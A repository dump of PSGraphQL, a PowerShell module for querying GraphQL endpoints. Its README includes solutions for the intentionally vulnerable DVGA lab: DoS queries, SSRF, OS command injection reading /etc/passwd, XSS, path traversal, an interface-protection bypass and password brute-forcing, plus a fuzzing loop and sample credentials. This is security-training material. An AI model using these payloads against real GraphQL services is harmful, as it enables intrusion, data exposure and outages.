├── PSGraphQL ├── PrivateFunctions │ ├── Compress-String.ps1 │ └── Test-Uri.ps1 ├── PSGraphQL.psm1 ├── PSGraphQL.psd1 ├── Functions │ ├── Get-GraphQLVariableList.ps1 │ └── Invoke-GraphQLQuery.ps1 └── Tests │ └── PSGraphQL.Tests.ps1 ├── LICENSE ├── azure-pipelines.yml └── README.md /PSGraphQL/PrivateFunctions/Compress-String.ps1: -------------------------------------------------------------------------------- 1 | # Compresses and trims GraphQL operations for processing by this module's functions: 2 | function Compress-String([string]$InputString) { 3 | $output = ($InputString -replace "`r`n|`n", " ").Trim() 4 | return $output 5 | } 6 | -------------------------------------------------------------------------------- /PSGraphQL/PrivateFunctions/Test-Uri.ps1: -------------------------------------------------------------------------------- 1 | function Test-Uri { 2 | param ( 3 | [Parameter(Mandatory)] 4 | [String]$InputString 5 | ) 6 | 7 | try { 8 | [void][System.Uri]::new($InputString) 9 | return $true 10 | } 11 | catch { 12 | return $false 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /PSGraphQL/PSGraphQL.psm1: -------------------------------------------------------------------------------- 1 | using namespace System 2 | using namespace System.Collections.Generic 3 | 4 | <# 5 | .SYNOPSIS 6 | This PowerShell module contains functions that facilitate querying and create, update, and delete (mutations) operations for GraphQL endpoints. 7 | .LINK 8 | https://graphql.org/ 9 | #> 10 | 11 | 12 | #region Load Public Functions 13 | 14 | Get-ChildItem -Path $PSScriptRoot\Functions\*.ps1 | Foreach-Object { . $_.FullName } 15 | 16 | #endregion 17 | 18 | 19 | #region Load Private Functions 20 | 21 | Get-ChildItem -Path $PSScriptRoot\PrivateFunctions\*.ps1 | Foreach-Object { . $_.FullName } 22 | 23 | #endregion 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2021 Anthony Guimelli 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | -------------------------------------------------------------------------------- /azure-pipelines.yml: -------------------------------------------------------------------------------- 1 | trigger: 2 | paths: 3 | exclude: 4 | - azure-pipelines.yml 5 | - .gitignore 6 | - LICENSE 7 | - README.md 8 | branches: 9 | include: 10 | - main 11 | 12 | variables: 13 | - name: ModuleName 14 | value: 'PSGraphQL' 15 | 16 | pool: 17 | vmImage: 'windows-latest' 18 | 19 | jobs: 20 | - job: PowerShell_CICD 21 | workspace: 22 | clean: all 23 | 24 | steps: 25 | - task: PowerShell@2 26 | inputs: 27 | targetType: 'inline' 28 | script: | 29 | Import-Module -Name Pester -Version 4.10.1 30 | Invoke-Pester 31 | ignoreLASTEXITCODE: true 32 | 33 | - task: CopyFiles@2 34 | displayName: 'Copy Module Source to Staging' 35 | inputs: 36 | SourceFolder: '$(Build.SourcesDirectory)\$(ModuleName)\' 37 | Contents: '**' 38 | TargetFolder: '$(Build.ArtifactStagingDirectory)\$(ModuleName)\' 39 | CleanTargetFolder: true 40 | OverWrite: true 41 | - task: PublishBuildArtifacts@1 42 | inputs: 43 | PathtoPublish: '$(Build.ArtifactStagingDirectory)\$(ModuleName)' 44 | ArtifactName: '$(ModuleName)' 45 | publishLocation: 'Container' 46 | - task: PSGalleryPackager@0 47 | inputs: 48 | apiKey: '$(PSGalleryApiKey)' 49 | path: '$(Build.ArtifactStagingDirectory)\$(ModuleName)' 50 | condition: and(succeeded(), ne(variables['Build.Reason'], 'PullRequest')) 51 | -------------------------------------------------------------------------------- /PSGraphQL/PSGraphQL.psd1: -------------------------------------------------------------------------------- 1 | 2 | # 3 | # Module manifest for module 'PSGraphQL' 4 | # 5 | # Generated by: Tony Guimelli 6 | # 7 | # Generated on: 3/9/2021 8 | # 9 | 10 | @{ 11 | 12 | # Script module or binary module file associated with this manifest. 13 | RootModule = '.\PSGraphQL' 14 | 15 | # Version number of this module. 16 | ModuleVersion = '2.1.1' 17 | 18 | # Compatibility 19 | CompatiblePSEditions = 'Desktop', 'Core' 20 | 21 | # ID used to uniquely identify this module 22 | GUID = '06f56284-848d-4070-9636-9c95e7cdf5be' 23 | 24 | # Author of this module 25 | Author = 'Tony Guimelli' 26 | 27 | # Minimum version of the Windows PowerShell engine required by this module 28 | PowerShellVersion = '5.1' 29 | 30 | # Description of the functionality provided by this module 31 | Description = 'This PowerShell module contains functions that facilitate querying and create, update, and delete (mutations) operations for GraphQL endpoints.' 32 | 33 | # Functions to export from this module 34 | FunctionsToExport = 'Invoke-GraphQLQuery', 'Get-GraphQLVariableList' 35 | 36 | # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. 37 | AliasesToExport = 'Invoke-GraphQLMutation', 'Invoke-GraphQLOperation', 'gql', 'ggqlvl' 38 | 39 | # List of all files packaged with this module 40 | FileList = 'PSGraphQL.psd1', 'PSGraphQL.psm1' 41 | 42 | PrivateData = @{ 43 | 44 | PSData = @{ 45 | Tags = @("GraphQL") 46 | LicenseUri = "https://github.com/anthonyg-1/PSGraphQL/blob/main/LICENSE" 47 | ProjectUri = "https://github.com/anthonyg-1/PSGraphQL" 48 | } # End PSData 49 | 50 | } # End PrivateData 51 | 52 | } 53 | -------------------------------------------------------------------------------- /PSGraphQL/Functions/Get-GraphQLVariableList.ps1: -------------------------------------------------------------------------------- 1 | function Get-GraphQLVariableList { 2 | <# 3 | .SYNOPSIS 4 | Gets a list of variable definitions from a GraphQL query. 5 | .DESCRIPTION 6 | Gets a list of variable (argument) names, types, and nullable status from a GraphQL operation. 7 | .PARAMETER Query 8 | The GraphQL operation (query, mutation, subscription, or fragment) to obtain the variable definitions from. 9 | .PARAMETER FilePath 10 | The path to a file containing a GraphQL query to obtain the variable definitions from. 11 | .EXAMPLE 12 | $query = ' 13 | query RollDice($dice: Int!, $sides: Int) { 14 | rollDice(numDice: $dice, numSides: $sides) 15 | }' 16 | 17 | Get-GraphQLVariableList -Query $query | Format-Table 18 | 19 | Gets a list of variable definitions from a GraphQL query and renders the results to the console as a table. 20 | .EXAMPLE 21 | $queryFilePath = "./queries/rolldice.gql" 22 | Get-GraphQLVariableList -FilePath $queryFilePath 23 | 24 | Gets a list of variable definitions from a file containing a GraphQL query and renders the results to the console as a table. 25 | .EXAMPLE 26 | $fragment = ' 27 | fragment UserInfo($includeEmail: Boolean!) on User { 28 | name 29 | email @include(if: $includeEmail) 30 | }' 31 | 32 | Get-GraphQLVariableList -Query $fragment 33 | 34 | Gets a list of variable definitions from a GraphQL fragment. 35 | .INPUTS 36 | System.String 37 | .LINK 38 | https://graphql.org/ 39 | Format-Table 40 | Invoke-GraphQLQuery 41 | #> 42 | [CmdletBinding()] 43 | [Alias('ggqlvl')] 44 | [OutputType([GraphQLVariable], [System.Collections.Hashtable])] 45 | <##> 46 | Param 47 | ( 48 | [Parameter(Mandatory = $true, ParameterSetName = "Query", 49 | ValueFromPipeline = $true, 50 | Position = 0)][ValidateLength(12, 1073741791)][Alias("Operation", "Mutation", "Fragment")][System.String]$Query, 51 | 52 | [Parameter(Mandatory = $false, ParameterSetName = "FilePath", Position = 0)][ValidateNotNullOrEmpty()][Alias('f', 'Path')][System.IO.FileInfo]$FilePath 53 | 54 | ) 55 | BEGIN { 56 | class GraphQLVariable { 57 | [bool]$HasVariables = $false 58 | [string]$Operation = "" 59 | [string]$OperationType = "" 60 | [string]$Parameter = "" 61 | [string]$Type = "" 62 | [nullable[bool]]$Nullable = $null 63 | [nullable[bool]]$IsArray = $null 64 | [string]$RawType = "" 65 | } 66 | } 67 | PROCESS { 68 | # Exception to be used through the function in the case that an invalid GraphQL query or mutation is passed: 69 | $ArgumentException = New-Object -TypeName ArgumentException -ArgumentList "Not a valid GraphQL operation (query, mutation, subscription, or fragment). Verify syntax and try again." 70 | 71 | # Get the raw GraphQL query content 72 | [string]$graphQlQuery = $Query 73 | 74 | if ($PSBoundParameters.ContainsKey("FilePath")) { 75 | if (Test-Path -Path $FilePath) { 76 | $graphQlQuery = Get-Content -Path $FilePath -Raw 77 | } 78 | else { 79 | Write-Error "Unable to read file at path: $FilePath" -Category ReadError -ErrorAction Stop 80 | } 81 | } 82 | 83 | # Ensure we have valid input 84 | if ([string]::IsNullOrWhiteSpace($graphQlQuery)) { 85 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop 86 | } 87 | 88 | # Remove comments and normalize whitespace 89 | $cleanQuery = $graphQlQuery -replace '#[^\r\n]*', '' -replace '\s+', ' ' 90 | 91 | # Simple check for operation keywords 92 | if (-not ($cleanQuery -match '(query|mutation|subscription|fragment)')) { 93 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop 94 | } 95 | 96 | # List of objects that are returned by default: 97 | $results = [System.Collections.Generic.List[GraphQLVariable]]::new() 98 | 99 | # Parse the entire query at once using more comprehensive regex 100 | # This regex captures: operation type, optional name, optional variables in parentheses, optional "on Type" for fragments 101 | $fullOperationPattern = '(query|mutation|subscription|fragment)\s*([a-zA-Z_][a-zA-Z0-9_]*)?\s*(\([^)]+\))?\s*(on\s+[a-zA-Z_][a-zA-Z0-9_]*)?\s*\{' 102 | 103 | # Variable pattern to extract individual variables from the parentheses 104 | $variablePattern = '\$([a-zA-Z_][a-zA-Z0-9_]*)\s*:\s*([a-zA-Z0-9_\[\]!]+)(?:\s*=\s*[^,)]+)?' 105 | 106 | $operationMatches = [regex]::Matches($cleanQuery, $fullOperationPattern, 'IgnoreCase') 107 | 108 | if ($operationMatches.Count -eq 0) { 109 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop 110 | } 111 | 112 | foreach ($operationMatch in $operationMatches) { 113 | $operationType = $operationMatch.Groups[1].Value.ToLower() 114 | $operationName = if ($operationMatch.Groups[2].Success) { $operationMatch.Groups[2].Value } else { $operationType } 115 | $variablesSection = if ($operationMatch.Groups[3].Success) { $operationMatch.Groups[3].Value } else { "" } 116 | $onType = if ($operationMatch.Groups[4].Success) { $operationMatch.Groups[4].Value } else { "" } 117 | 118 | # For fragments, include the "on Type" part in the operation name if present 119 | if ($operationType -eq "fragment" -and $onType) { 120 | $operationName = if ($operationMatch.Groups[2].Success) { 121 | "$($operationMatch.Groups[2].Value) $onType" 122 | } else { 123 | $onType 124 | } 125 | } 126 | 127 | # Extract variables from the variables section 128 | if ($variablesSection) { 129 | $variableMatches = [regex]::Matches($variablesSection, $variablePattern) 130 | 131 | if ($variableMatches.Count -gt 0) { 132 | foreach ($variableMatch in $variableMatches) { 133 | $paramName = $variableMatch.Groups[1].Value 134 | $rawType = $variableMatch.Groups[2].Value 135 | 136 | $gqlVariable = [GraphQLVariable]::new() 137 | $gqlVariable.HasVariables = $true 138 | $gqlVariable.Operation = $operationName 139 | $gqlVariable.OperationType = $operationType 140 | $gqlVariable.Parameter = $paramName 141 | $gqlVariable.RawType = $rawType 142 | 143 | # Parse type information 144 | $cleanType = $rawType -replace '[\[\]!]', '' 145 | $gqlVariable.Type = $cleanType 146 | 147 | # Check if nullable (! means non-null, so nullable = false if ! is present) 148 | $gqlVariable.Nullable = -not $rawType.Contains('!') 149 | 150 | # Check if array 151 | $gqlVariable.IsArray = $rawType.Contains('[') -and $rawType.Contains(']') 152 | 153 | $results.Add($gqlVariable) 154 | } 155 | } else { 156 | # Operation exists but no variables 157 | $gqlVariable = [GraphQLVariable]::new() 158 | $gqlVariable.HasVariables = $false 159 | $gqlVariable.Operation = $operationName 160 | $gqlVariable.OperationType = $operationType 161 | $results.Add($gqlVariable) 162 | } 163 | } else { 164 | # Operation exists but no variables section 165 | $gqlVariable = [GraphQLVariable]::new() 166 | $gqlVariable.HasVariables = $false 167 | $gqlVariable.Operation = $operationName 168 | $gqlVariable.OperationType = $operationType 169 | $results.Add($gqlVariable) 170 | } 171 | } 172 | 173 | if ($results.Count -eq 0) { 174 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop 175 | } 176 | 177 | return $results 178 | } 179 | } 180 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PSGraphQL 2 | This PowerShell module contains functions that facilitate query and mutation operations against GraphQL endpoints. 3 | 4 | ### Tested on 5 | :desktop_computer: `Windows 10/11` 6 | :penguin: `Linux` 7 | :apple: `MacOS` 8 | 9 | ### Requirements 10 | Requires PowerShell 5.1 or above. 11 | 12 | ### Installation 13 | 14 | ```powershell 15 | Install-Module -Name PSGraphQL -Repository PSGallery -Scope CurrentUser 16 | ``` 17 | 18 | ## Examples 19 | 20 | ### Post a GraphQL query to an endpoint including operation name and variables 21 | ```powershell 22 | 23 | $uri = "https://mytargetserver/v1/graphql" 24 | 25 | $query = ' 26 | query RollDice($dice: Int!, $sides: Int!) { 27 | rollDice(numDice: $dice, numSides: $sides) 28 | }' 29 | 30 | $opName = "RollDice" 31 | 32 | $variables = ' 33 | { 34 | "dice": 3, 35 | "sides": 6 36 | }' 37 | 38 | Invoke-GraphQLQuery -Query $query -OperationName $opName -Variables $variables -Uri $uri 39 | ``` 40 | 41 | ### Post a GraphQL query with a query defined in a file 42 | ```powershell 43 | $uri = "https://mytargetserver/v1/graphql" 44 | 45 | $queryFilePath = "./queries/rolldice.gql" 46 | 47 | Invoke-GraphQLQuery -FilePath $queryFilePath -Uri $uri 48 | ``` 49 | 50 | ### Post a GraphQL query to an endpoint including operation name and variables as a HashTable 51 | ```powershell 52 | 53 | $uri = "https://mytargetserver/v1/graphql" 54 | 55 | $query = ' 56 | query RollDice($dice: Int!, $sides: Int!) { 57 | rollDice(numDice: $dice, numSides: $sides) 58 | }' 59 | 60 | $opName = "RollDice" 61 | $variables = @{dice=3; sides=6} 62 | 63 | Invoke-GraphQLQuery -Query $query -OperationName $opName -Variables $variables -Uri $uri 64 | ``` 65 | 66 | ### Post a GraphQL introspection query to an endpoint with the results returned as JSON 67 | 68 | ```powershell 69 | $uri = "https://mytargetserver/v1/graphql" 70 | 71 | $introspectionQuery = ' 72 | query allSchemaTypes { 73 | __schema { 74 | types { 75 | name 76 | kind 77 | description 78 | } 79 | } 80 | } 81 | ' 82 | 83 | Invoke-GraphQLQuery -Query $introspectionQuery -Uri $uri -Raw 84 | ``` 85 | 86 | ### Post a GraphQL query to an endpoint with the results returned as objects 87 | 88 | ```powershell 89 | $uri = "https://mytargetserver/v1/graphql" 90 | 91 | $myQuery = ' 92 | query { 93 | users { 94 | created_at 95 | id 96 | last_seen 97 | name 98 | } 99 | } 100 | ' 101 | 102 | Invoke-GraphQLQuery -Query $myQuery -Uri $uri 103 | ``` 104 | 105 | ### Post a GraphQL mutation to an endpoint with the results returned as JSON 106 | 107 | ```powershell 108 | $uri = "https://mytargetserver/v1/graphql" 109 | 110 | $myMutation = ' 111 | mutation MyMutation { 112 | insert_users_one(object: {id: "57", name: "FirstName LastName"}) { 113 | id 114 | } 115 | } 116 | ' 117 | 118 | $requestHeaders = @{ "x-api-key"='aoMGY{+93dx&t!5)VMu4pI8U8T.ULO' } 119 | 120 | $jsonResult = Invoke-GraphQLQuery -Mutation $myMutation -Headers $requestHeaders -Uri $uri -Raw 121 | ``` 122 | 123 | ### Post a GraphQL query using JWT for authentication to an endpoint and navigate the results 124 | 125 | ```powershell 126 | $jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MjAzOTMwMjgsIm5iZiI6MTYyMDM5MzAyNywiZXhwIjoxNjIwMzkzMzI4LCJzdWIiOiJtZUBjb21wYW55LmNvbSIsImp0aSI6ImMwZTk0ZTY0ODc4ZjRlZDFhZWM3YWYwYzViOWM2ZWI5Iiwicm9sZSI6InVzZXIifQ.HaTXDunEjmyUsHs7daLe-AxEpmq58QqqFziydm7MBic" 127 | 128 | $headers = @{Authorization="Bearer $jwt"} 129 | 130 | $uri = "https://mytargetserver/v1/graphql" 131 | 132 | $myQuery = ' 133 | query GetUsers { 134 | users { 135 | created_at 136 | id 137 | last_seen 138 | name 139 | } 140 | } 141 | ' 142 | 143 | $result = Invoke-GraphQLQuery -Query $myQuery -Headers $headers -Uri $uri 144 | $result.data.users | Format-Table 145 | ``` 146 | 147 | ### Post a GraphQL query to an endpoint with the results returned as JSON (as a one-liner using aliases) 148 | 149 | ```powershell 150 | gql -q 'query { users { created_at id last_seen name } }' -u 'https://mytargetserver/v1/graphql' -r 151 | ``` 152 | 153 | ### Get a list of variable definitions from a GraphQL query 154 | ```powershell 155 | $query = ' 156 | query RollDice($dice: Int!, $sides: Int) { 157 | rollDice(numDice: $dice, numSides: $sides) 158 | }' 159 | 160 | Get-GraphQLVariableList -Query $query 161 | ``` 162 | 163 | ### Perform parameter fuzzing against a GraphQL endpoint based on discovered parameters (security testing) 164 | ```powershell 165 | $mutation = ' 166 | mutation AddNewPet ($name: String!, $petType: PetType, $petLocation: String!, $petId: Int!) { 167 | addPet(name: $name, petType: $petType, location: $petLocation, id: $petId) { 168 | name 169 | petType 170 | location 171 | id 172 | } 173 | }' 174 | 175 | $wordListPath = ".\SQL.txt" 176 | $words = [IO.File]::ReadAllLines($wordListPath) 177 | 178 | $uri = "https://mytargetserver/v1/graphql" 179 | 180 | # Array to store results from Invoke-GraphQLQuery -Detailed for later analysis: 181 | $results = @() 182 | 183 | # Get the variable definition from the supplied mutation: 184 | $variableList = $mutation | Get-GraphQLVariableList 185 | 186 | $words | ForEach-Object { 187 | $queryVarTable = @{} 188 | $word = $_ 189 | 190 | $variableList | Select Parameter, Type | ForEach-Object { 191 | $randomInt = Get-Random 192 | if ($_.Type -eq "Int") { 193 | if (-not($queryVarTable.ContainsKey($_.Parameter))) { 194 | $queryVarTable.Add($_.Parameter, $randomInt) 195 | } 196 | } 197 | else { 198 | if (-not($queryVarTable.ContainsKey($_.Parameter))) { 199 | $queryVarTable.Add($_.Parameter, $word) 200 | } 201 | } 202 | } 203 | 204 | $gqlResult = Invoke-GraphQLQuery -Mutation $mutation -Variables $queryVarTable -Headers $headers -Uri $uri -Detailed 205 | $result = [PSCustomObject]@{ParamValues = ($queryVarTable); Result = ($gqlResult) } 206 | $results += $result 207 | } 208 | ``` 209 | 210 | # Damn Vulnerable GraphQL Application Solutions 211 | 212 | The "Damn Vulnerable GraphQL Application" is an intentionally vulnerable implementation of the GraphQL technology that allows a tester to learn and practice GraphQL security. For more on DVGQL, please see: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application 213 | 214 | The solutions below are written in PowerShell exclusively but one of the solutions required Invoke-WebRequest as opposed to Invoke-GraphQLQuery. 215 | 216 | ```powershell 217 | # GraphQL endpoint for all solutions below: 218 | $gqlEndpointUri = "https://mygraphqlserver.company.com/graphql" 219 | ``` 220 | 221 | 222 | ## Denial of Service :: Batch Query Attack 223 | 224 | ```powershell 225 | # Specify amount of queries to generate: 226 | $amountOfQueries = 100 227 | 228 | # Base query: 229 | $sysUpdateQuery = ' 230 | query { 231 | systemUpdate 232 | } 233 | ' 234 | 235 | # For 1 to $amountOfQueries, concatenate $sysUpdateQuery and assign to $batchQueryAttackPayload: 236 | $batchQueryAttackPayload = ((1..$amountOfQueries | ForEach-Object { $sysUpdateQuery }).Trim()) -join "`r`n" 237 | 238 | # Post batch attack to GraphQL endpoint: 239 | Invoke-GraphQLQuery -Uri $gqlEndpointUri -Query $batchQueryAttackPayload 240 | ``` 241 | 242 | ## Denial of Service :: Deep Recursion Query Attack 243 | ```powershell 244 | 245 | $depthAttackQuery = ' 246 | query { 247 | pastes { 248 | owner { 249 | paste { 250 | edges { 251 | node { 252 | owner { 253 | paste { 254 | edges { 255 | node { 256 | owner { 257 | paste { 258 | edges { 259 | node { 260 | owner { 261 | id 262 | } 263 | } 264 | } 265 | } 266 | } 267 | } 268 | } 269 | } 270 | } 271 | } 272 | } 273 | } 274 | } 275 | } 276 | } 277 | ' 278 | 279 | Invoke-GraphQLQuery -Query $depthAttackQuery -Uri $gqlEndpointUri -Raw 280 | ``` 281 | 282 | 283 | ## Denial of Service :: Resource Intensive Query Attack 284 | ```powershell 285 | $timingTestPayload = ' 286 | query TimingTest { 287 | systemUpdate 288 | } 289 | ' 290 | 291 | $start = Get-Date 292 | 293 | Invoke-GraphQLQuery -Query $timingTestPayload -Uri $gqlEndpointUri -Raw 294 | 295 | $end = Get-Date 296 | 297 | $delta = $end - $start 298 | $totalSeconds = $delta.Seconds 299 | $message = "Total seconds to execute query: {0}" -f $totalSeconds 300 | 301 | Write-Host -Object $message -ForegroundColor Cyan 302 | ``` 303 | 304 | ## Information Disclosure :: GraphQL Introspection 305 | ```powershell 306 | $introspectionQuery = ' 307 | query { 308 | __schema { 309 | queryType { name } 310 | mutationType { name } 311 | subscriptionType { name } 312 | } 313 | } 314 | ' 315 | 316 | Invoke-GraphQLQuery -Query $introspectionQuery -Uri $gqlEndpointUri -Raw 317 | ``` 318 | 319 | 320 | ## Information Disclosure :: GraphQL Interface 321 | ```powershell 322 | 323 | $graphiqlUri = "{0}/graphiql" -f $targetUri 324 | 325 | $headers = @{Accept="text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"} 326 | 327 | Invoke-WebRequest -Uri $graphiqlUri -Headers $headers -Method Get -UseBasicParsing | Select -ExpandProperty Content 328 | ``` 329 | 330 | 331 | ## Information Disclosure :: GraphQL Field Suggestions 332 | ```powershell 333 | $fieldSuggestionsQuery = ' 334 | query { 335 | systemUpdate 336 | } 337 | ' 338 | 339 | Invoke-GraphQLQuery -Query $fieldSuggestionsQuery -Uri $gqlEndpointUri -Raw 340 | ``` 341 | 342 | 343 | ## Information Disclosure :: Server Side Request Forgery 344 | ```powershell 345 | $requestForgeryMutation = ' 346 | mutation { 347 | importPaste(host:"localhost", port:57130, path:"/", scheme:"http") { 348 | result 349 | } 350 | } 351 | ' 352 | 353 | Invoke-GraphQLQuery -Mutation $requestForgeryMutation -Uri $gqlEndpointUri -Raw 354 | ``` 355 | 356 | 357 | ## Code Execution :: OS Command Injection #1 358 | ```powershell 359 | $commandToInject = "ls -al" 360 | 361 | $commandInjectionMutation = ' 362 | mutation { 363 | importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){ 364 | result 365 | } 366 | } 367 | ' 368 | 369 | $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri 370 | 371 | $result = $response.data.importPaste.result 372 | 373 | Write-Host -Object $result -ForegroundColor Magenta 374 | ``` 375 | 376 | 377 | ## Code Execution :: OS Command Injection #2 378 | ```powershell 379 | # Admin creds for DVGQL: 380 | $userName = "admin" 381 | $password = "password" 382 | 383 | $commandToInject = "ls -alr" 384 | 385 | $commandInjectionQuery = ' 386 | query { 387 | systemDiagnostics(username:"' + $userName + '" password:"' + $password + '", cmd:"id; ' + $commandToInject + '") 388 | } 389 | ' 390 | 391 | Invoke-GraphQLQuery -Query $commandInjectionQuery -Uri $gqlEndpointUri -Raw 392 | ``` 393 | 394 | ## Code Execution :: OS Command Injection #3 395 | ```powershell 396 | # Admin creds for DVGQL: 397 | $userName = "admin" 398 | $password = "password" 399 | 400 | $commandToInject = "cat /etc/passwd" 401 | 402 | $commandInjectionQuery = ' 403 | query { 404 | systemDiagnostics(username:"' + $userName + '" password:"' + $password + '", cmd:"' + $commandToInject + '") 405 | } 406 | ' 407 | 408 | Invoke-GraphQLQuery -Query $commandInjectionQuery -Uri $gqlEndpointUri -Raw 409 | ``` 410 | 411 | ## Code Execution :: OS Command Injection #4 412 | ```powershell 413 | # Credit Zachary Asher for this one! 414 | # This is abstracting "cat /etc/passwd via the following: 415 | # 1. Change directory via "cd" repeatedly to get to the root directory 416 | # 2. Change director to the etc directory... 417 | # 3. ...and finally execute "cat" (concatenate) to read the contents of the passwd file: 418 | $commandToInject = "cd .. && cd .. && cd .. && cd etc && cat passwd" 419 | 420 | $commandInjectionMutation = ' 421 | mutation { 422 | importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){ 423 | result 424 | } 425 | } 426 | ' 427 | 428 | $response = $null 429 | try { 430 | $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri -ErrorAction Stop 431 | $result = $response.data.importPaste.result 432 | Write-Host -Object $result -ForegroundColor Magenta 433 | } 434 | catch 435 | { 436 | Write-Host -Object $_.Exception -ForegroundColor Red 437 | } 438 | ``` 439 | 440 | ## Code Execution :: OS Command Injection #5 441 | ```powershell 442 | # Find all conf files: 443 | $commandToInject = "find / -type f -name '*.conf' 2>/dev/null" 444 | 445 | $commandInjectionMutation = ' 446 | mutation { 447 | importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){ 448 | result 449 | } 450 | } 451 | ' 452 | 453 | $response = $null 454 | try { 455 | $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri -ErrorAction Stop 456 | $result = $response.data.importPaste.result 457 | Write-Host -Object $result -ForegroundColor Magenta 458 | } 459 | catch 460 | { 461 | Write-Host -Object $_.Exception -ForegroundColor Red 462 | } 463 | ``` 464 | 465 | 466 | 467 | ## Injection :: Stored Cross Site Scripting 468 | ```powershell 469 | $xssInjectionMutation = ' 470 | mutation XcssMutation { 471 | uploadPaste(content: "", filename: "C:\\temp\\file.txt") { 472 | content 473 | filename 474 | result 475 | } 476 | } 477 | ' 478 | 479 | Invoke-GraphQLQuery -Mutation $xssInjectionMutation -Uri $gqlEndpointUri -Raw 480 | ``` 481 | 482 | 483 | ## Injection :: Log Injection 484 | ```powershell 485 | $logInjectionMutation = ' 486 | mutation getPaste{ 487 | createPaste(title:"", content:"zzzz", public:true) { 488 | burn 489 | content 490 | public 491 | title 492 | } 493 | } 494 | ' 495 | 496 | Invoke-GraphQLQuery -Mutation $logInjectionMutation -Uri $gqlEndpointUri 497 | ``` 498 | 499 | 500 | ## Injection :: HTML Injection 501 | ```powershell 502 | $htmlInjectionMutation = ' 503 | mutation myHtmlInjectionMutation { 504 | createPaste(title:"

hello!

", content:"zzzz", public:true) { 505 | burn 506 | content 507 | public 508 | title 509 | } 510 | } 511 | ' 512 | 513 | Invoke-GraphQLQuery -Mutation $htmlInjectionMutation -Uri $gqlEndpointUri -Raw 514 | ``` 515 | 516 | 517 | ## Authorization Bypass :: GraphQL Interface Protection Bypass 518 | ```powershell 519 | $reconQuery = ' 520 | query IntrospectionQuery { 521 | __schema { 522 | queryType { 523 | name 524 | } 525 | mutationType { 526 | name 527 | } 528 | subscriptionType { 529 | name 530 | } 531 | } 532 | } 533 | ' 534 | 535 | $session = [Microsoft.PowerShell.Commands.WebRequestSession]::new() 536 | $cookie = [System.Net.Cookie]::new() 537 | $cookie.Name = "env" 538 | # $cookie.Value = "Z3JhcGhpcWw6ZGlzYWJsZQ" # This is base64 for graphiql:disable 539 | $cookie.Value = "Z3JhcGhpcWw6ZW5hYmxl" # This is base64 for graphiql:enable 540 | $domain = [Uri]::new($gqlEndpointUri).Host 541 | $cookie.Domain = $domain 542 | $session.Cookies.Add($cookie) 543 | 544 | Invoke-GraphQLQuery -Query $reconQuery -Uri $gqlEndpointUri -WebSession $session -Raw 545 | ``` 546 | 547 | 548 | ## GraphQL Query Deny List Bypass 549 | ```powershell 550 | $bypassQuery = ' 551 | query BypassMe { 552 | systemHealth 553 | } 554 | ' 555 | 556 | $headers= @{'X-DVGA-MODE'='Expert'} 557 | 558 | Invoke-GraphQLQuery -Query $bypassQuery -Uri $gqlEndpointUri -Headers $headers -Raw 559 | ``` 560 | 561 | 562 | ## Miscellaneous :: Arbitrary File Write // Path Traversal 563 | ```powershell 564 | $pathTraversalMutation = ' 565 | mutation PathTraversalMutation { 566 | uploadPaste(filename:"../../../../../tmp/file.txt", content:"path traversal test successful"){ 567 | result 568 | } 569 | } 570 | ' 571 | 572 | Invoke-GraphQLQuery -Mutation $pathTraversalMutation -Uri $gqlEndpointUri -Raw 573 | ``` 574 | 575 | 576 | ## Miscellaneous :: GraphQL Query Weak Password Protection 577 | ```powershell 578 | $passwordList = @('admin123', 'pass123', 'adminadmin', '123', 'password', 'changeme', 'password54321', 'letmein', 'admin123', 'iloveyou', '00000000') 579 | 580 | $command = "ls" 581 | 582 | foreach ($pw in $passwordList) 583 | { 584 | $bruteForceAuthQuery = ' 585 | query bruteForceQuery { 586 | systemDiagnostics(username: "admin", password: "' + $pw + '", cmd: "' + $command + '") 587 | } 588 | ' 589 | 590 | $result = Invoke-GraphQLQuery -Query $bruteForceAuthQuery -Uri $gqlEndpointUri 591 | 592 | if ($result.data.systemDiagnostics -ne "Password Incorrect") { 593 | Write-Host -Object $("The password is: ") -ForegroundColor Yellow -NoNewline 594 | Write-Host -Object $pw -ForegroundColor Green 595 | } 596 | } 597 | ``` 598 | -------------------------------------------------------------------------------- /PSGraphQL/Functions/Invoke-GraphQLQuery.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-GraphQLQuery { 2 | <# 3 | 